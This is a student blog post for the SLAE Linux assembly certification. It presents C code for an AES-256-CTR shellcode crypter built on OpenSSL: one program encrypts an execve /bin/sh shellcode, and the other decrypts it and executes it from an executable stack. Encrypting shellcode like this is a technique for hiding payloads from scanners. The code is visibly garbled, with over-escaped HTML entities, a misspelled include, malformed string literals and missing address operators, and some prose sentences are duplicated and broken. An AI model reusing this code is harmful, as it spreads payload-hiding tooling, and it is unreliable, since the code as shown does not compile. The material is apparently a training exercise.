Assignment 7# Custom Crypter

For this assignment, i decided to demonstrate the creation of a shellcode crypter using the AES (Rijndael) which is one of the strongest encryption algorithms. More information about AES can be found at the following link: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard

To implement AES, i used the EVP cipher routines of the openSSL project which are a high level interface to certain symmetric ciphers using the counter mode (CTR). CTR mode was introduced by Whitfield Diffie and Martin Hellman in 1979 which operate on multi-processor machines where blocks can be encrypted in parallel.turns a block cipher into a stream cipher. Counter mode turns a block cipher into a stream cipher and generates  next keystream blocks by encrypting successive values of a “counter”. The counter produces a unrepeatable sequences for a long time. CTR mode is one a block cipher mode recommended cryptographers.

AES, uses a code blocking cipher which apply encryption on fixed-length groups of bits, called blocks. As messages come in a variety of lengths i preferred not to use the modes ECB or CBC which require the final block to be padded before encryption as padding techniques are vulnerable to padding oracle attacks (POODLE).

Choosing to use the EVP cipher routines of openSSL has the side effect that the libraries of openSSL must exist on the system that the binary  run.
I preferred to use AES-256 as it’s key is 32bytes=256bits which is considered to provide an acceptable level of security. Additionally, I used the IV (initialization vector) as a static entry without any randomization. This setting considers to be insecure for real scenarios but demonstrative for our purpose.

Firstly, I needed to bypass the difficulty for a user to provide a password exactly 256bits. I used  thean SHA256 hashing routing provided by the library of the EVP which can hashes any provide password to a unique stream of 256bit hash. The created hash will then be used as the initial key value for the AES algorithm.

For this assignment, i used the shellcode provided  at the following link: http://shell-storm.org/shellcode/files/shellcode-230.php. which is a custom execve shellcode. The site of shell-storm.org provides an amazing collection of shellcodes created for various operating systems.

The following C code that i created to complete the assignment includes comments about the AES-EVP calling routines.


/*
 Filename: Encrypt-AES-ctr-256.c
 Website:  http://securitytube.net
 Training: http://securitytube-training.com
 Desc: Custom Crypter using AES-CTR mode with 256bit encryption key
 SLAE-ID: SLAE-627
 Purpose: SLAE
 Compile :gcc Encrypt-AES-ctr-256.c -o EncryptAES -lcrypto
 */

# include <stdio.h>
# include <string.h>
# include <stdlib.h>
# include <openssl/evp.h>

main(int argc, char **argv)
                         {
                         int K;
/*
The Shellcode that is going to be ecrypted
http://shell-storm.org/shellcode/files/shellcode-230.php
*/
                           unsigned char shellcode[] =
		                   "\x6a\x30\x58\x6a\x05\x5b\xeb\x05\x59\xcd\x80"
                           &amp;quot;\xcc\x40\xe8\xf6\xff\xff\xff\x99\xb0\x0b\x52&amp;quot;;
                           &amp;quot;\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89&amp;quot;;
                           &amp;quot;\xe3\x52\x53\x54\xeb\xe1&amp;quot;;

 int shellcode_len;
 	shellcode_len=strlen(shellcode);
        printf(&amp;quot;\n---------------Shellcode------------------\n&amp;quot;);
          for(K=0;K&amp;amp;lt;shellcode_len;K++)
             {printf(&amp;quot;\\x%02x&amp;quot;,shellcode[K]);}
        printf(&amp;quot;\n---------------Length=%d------------------\n&amp;quot;,shellcode_len);

	/*
	   The password is passed as an argument
	*/
        unsigned char *key;
	int key_len;
	key = (unsigned char *)argv[1];
        key_len = strlen((unsigned char *)key);
        unsigned char pass[key_len+1];
	strcpy(pass, key);
	pass[key_len]='\n';

	/*
	   The password is hashed with sha256 to create 256bits Key length
	*/
       	EVP_MD_CTX *ctx_dig;
	OpenSSL_add_all_digests();
    	unsigned char digest[EVP_MAX_MD_SIZE];
        int digestLen;
	ctx_dig = EVP_MD_CTX_create();
	EVP_DigestInit_ex(ctx_dig, EVP_sha256(),NULL);
        EVP_DigestUpdate(ctx_dig, pass, strlen(pass));
    	EVP_DigestFinal_ex(ctx_dig, digest, ;digestLen);
 	EVP_MD_CTX_destroy(ctx_dig);

	printf(&amp;amp;amp;quot;\nSHA256 hash of Password [%s]------\n&amp;amp;amp;quot;,key);
        for (K=0; K&amp;amp;lt;digestLen; K++)
            {
             printf(&amp;quot;%02x&amp;quot;, digest[K]);
            }
        printf(&amp;quot;\n------------------------------------------\n&amp;quot;);
	EVP_cleanup();

       /*
        iv = Initialization Vector is a block of bits that is used
             by several modes to randomize the encryption and hence
             to produce distinct ciphertexts even if the same plaintext is
             encrypted multiple times, without the need for a slower re-keying
             process
       */
        unsigned char iv[EVP_MAX_IV_LENGTH]=1234567887654321;

        printf(&amp;amp;amp;quot;\n---------IV HEX-Format(16bytes)-----------\n&amp;amp;amp;quot;);
         for(K=0;K&amp;amp;lt;EVP_MAX_IV_LENGTH;K++)
         {
        printf(&amp;quot;\\x%02x&amp;quot;, iv[K]);
          }
	printf(&amp;amp;amp;quot;\n------------------------------------------\n&amp;amp;amp;quot;);
	unsigned char Cipher_shellcode[shellcode_len];
	int Cipher_len, i;
	EVP_CIPHER_CTX ctx_en;

	/*
	   EVP_EncryptInit_ex() initializes a cipher context ctx for encryption
           with cipher type. The type is normally supplied by a function such as
           EVP_des_cbc(). !!!We will implement AES in CTR mode of 256bits. CTR mode
           (CM) is also known as integer counter mode. Counter mode turns a block
           cipher into a stream cipher.It generates the next keystream block by
	   encrypting successive values of a &amp;amp;amp;quot;counter&amp;amp;amp;quot;.
           https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
	*/
	EVP_EncryptInit(ctx_en, EVP_aes_256_ctr(), digest, iv);

        /*
	   void EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out,int *outl,
           unsigned char *in, int inl);EVP_EncryptUpdate() encrypts inl bytes from
           the buffer in and writes the encrypted version to out.
	   This function can be called multiple times to encrypt successive blocks
           of data. The amount of data written depends on the block alignment of the
           encrypted data:
	   as a result the amount of data written may be anything from zero bytes
           to (inl + cipher_block_size - 1) so out should contain sufficient room.
           The actual number of bytes written is placed in outl.
	   !!!Padding is not enabled on this mode so there is no need
           to call EVP_EncryptFinal
        */
        EVP_EncryptUpdate(ctx_en,Cipher_shellcode,Cipher_len,shellcode,shellcode_len);
	printf(&amp;amp;amp;quot;\n------------Encrypted-Shellcode-----------\n&amp;amp;amp;quot;);
	for(i=0;&amp;amp;amp;amp;lt;Cipher_len;i++)
		 {
		printf(&amp;amp;amp;quot;\\x%02x&amp;amp;amp;quot;, Cipher_shellcode[i]);
		  }
        printf(&amp;amp;amp;quot;\n-------------Length=%d---------------\n&amp;amp;amp;quot;,sizeof(Cipher_shellcode));

	/*
	    EVP_CIPHER_CTX_cleanup() clears all information from a cipher context
            and free up any allocated memory associate with it.
	    It should be called after all operations using a cipher are complete
            so sensitive information does not remain in memory.
        */
        EVP_CIPHER_CTX_cleanup(ctx_en);
	CRYPTO_cleanup_all_ex_data();
	return 0;
}

 

Lets compile the code and continue on with the execution. The code needs to be compiled using the lcrypto option which instructs the gcc to compile the binary using the openssl ‘crypto’ library.7cry

The password SLAE  was provided to the executable which outputs the original shellcode alongside with its length, the sha256 hash digest of the password SLAE, the IV and finally the encrypted shellcode. Using another password  a completely new encrypted shellcode is created.7cry2

The next step was to decrypt the shellcode and prove its functionality. In order to decrypt the encrypted shellcode we must provide it inside the decryption code just as we did previously

/*
 Filename: Decrypt-AES-ctr-256.c
 Website:  http://securitytube.net
 Training: http://securitytube-training.com
 Desc: Custom shellcode Decrypter using AES-CTR mode with 256bit encryption key
 SLAE-ID: SLAE-627
 Purpose: SLAE
 Compile :gcc -fno-stack-protector -z execstack Decrypt-AES-ctr-256.c -o DecryptAES
 */

# include &amp;amp;amp;amp;amp;lt;stdio.h&amp;amp;amp;amp;amp;gt;
# include &amp;amp;amp;amp;amp;lt;string.h&amp;amp;amp;amp;amp;gt;
# include &amp;amp;amp;amp;amp;lt;penssl/evp.h&amp;amp;amp;amp;amp;gt;
main(int argc, char **argv)

{
        int K;
	/*
	   The Encrypted shellcode that is going to be Decrypted
	*/
	unsigned char encry_shellcode[] =\
					&amp;amp;amp;amp;quot;\xbf\xe7\xb3\xe3\xda\x87\x6e\x91\x85\x28\xec&amp;amp;amp;amp;quot;
&amp;amp;amp;amp;quot;\xd5\xaa\x57\x09\x7d\x2f\x3f\x55\x6d\x1c\x3a&amp;amp;amp;amp;quot;
&amp;amp;amp;amp;quot;\x77\xb6\xf7\x39\x83\x76\xb1\xce\xe5\xf3\x37&amp;amp;amp;amp;quot;
&amp;amp;amp;amp;quot;\x22\x45\xfd\xce\xb7\x42&amp;amp;amp;amp;quot;;

 	int encry_shellcode_len;
        encry_shellcode_len=strlen(encry_shellcode);
        printf(&amp;amp;amp;amp;quot;\n-----------Encrypted-Shellcode-----------\n&amp;amp;amp;amp;quot;);
          for(K=0;K&amp;amp;amp;amp;lt;encry_shellcode_len;K++)
             {
            printf(&amp;amp;amp;amp;quot;\\x%02x&amp;amp;amp;amp;quot;, encry_shellcode[K]);
              }
        printf(&amp;amp;amp;amp;quot;\n----------------Length=%d----------------\n&amp;amp;amp;amp;quot;,encry_shellcode_len);

        /*
           The password is passed as an argument
        */
        unsigned char *key;
        int key_len;
        key = (unsigned char *)argv[1];
        key_len = strlen((unsigned char *)key);
        printf(Password=%s\n,key);
        unsigned char pass[key_len+1];
        strcpy(pass, key);
        pass[key_len]='\n';

        /*
           The password is hashed with sha256 to create 256bits Key length
        */
        EVP_MD_CTX *ctx_dig;
        OpenSSL_add_all_digests();
        unsigned char digest[EVP_MAX_MD_SIZE];
        int digestLen;
        ctx_dig = EVP_MD_CTX_create();
        EVP_DigestInit_ex(ctx_dig, EVP_sha256(),NULL);
        EVP_DigestUpdate(ctx_dig, pass, strlen(pass));
        EVP_DigestFinal_ex(ctx_dig, digest, digestLen);
        EVP_MD_CTX_destroy(ctx_dig);
        printf(&amp;amp;amp;amp;quot;\n SHA256 hash of Password [%s]------\n&amp;amp;amp;amp;quot;,key);
        for (K=0; K&amp;amp;amp;amp;lt;digestLen; K++)
            {
             printf(&amp;amp;amp;amp;quot;%02x&amp;amp;amp;amp;quot;, digest[K]);
            }
        printf(&amp;amp;amp;amp;quot;\n------------------------------------------\n&amp;amp;amp;amp;quot;);
        printf(&amp;amp;amp;amp;quot;\n&amp;amp;amp;amp;quot;);
        EVP_cleanup();

	int  declen;
        unsigned char decry_shellcode[encry_shellcode_len];
        unsigned char iv[] = 1234567887654321;
	int (*ret)() = (int(*)())decry_shellcode;

	/*
	    The Decryption process
	*/
	EVP_CIPHER_CTX ctx_dec;
	EVP_DecryptInit(ctx_dec, EVP_aes_256_ctr(), digest, iv);
	EVP_DecryptUpdate(ctx_dec, decry_shellcode, declen, encry_shellcode, encry_shellcode_len);
	 printf(&amp;amp;amp;amp;quot;------------Decrypted-Shellcode-----------\n&amp;amp;amp;amp;quot;);
        for(K=0;K&amp;amp;amp;amp;lt;encry_shellcode_len;K++)
         {
        printf(&amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;\\x%02x&amp;amp;amp;amp;quot;, decry_shellcode[K]);
          }
        printf(&amp;amp;amp;amp;quot;\n----------------Length=%d-----------------\n&amp;amp;amp;amp;quot;,sizeof(decry_shellcode));

	EVP_CIPHER_CTX_cleanup(ctx_dec);
	EVP_cleanup();
	CRYPTO_cleanup_all_ex_data();
	printf(&amp;amp;amp;amp;quot;\nCall Decryted-Shellcode\n.\n..\n...\n&amp;amp;amp;amp;quot;);
	ret();
	printf(&amp;amp;amp;amp;quot;\n&amp;amp;amp;amp;quot;);
	return 0;
}

Lets compile the code and continue on with the execution. It is necessary, for the code to be compiled using the lcrypto which instructs gcc to include the openssl ‘crypto’ library. Additionally we must disable some stack protection mechanism which will allow the stack to be executable.

As expected, successful execution of the binary occurs if the correct password is provided. If so, the encrypted shellcode is decrypted and executed (The original shellcode is a custom execve shellcode).7decry2

As we mentioned earlier, the DecryptAES binary uses dynamic linking to libcrypto library of openSSL meaning that this library must exist on the target system that is going to run. We can inspect  the dependencies with readelf.7depend

 

 

 

 

 

 

 

 

 

Another way is with ldd or with gdb.7ldd

decrygdb


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification
Student ID: SLAE – 627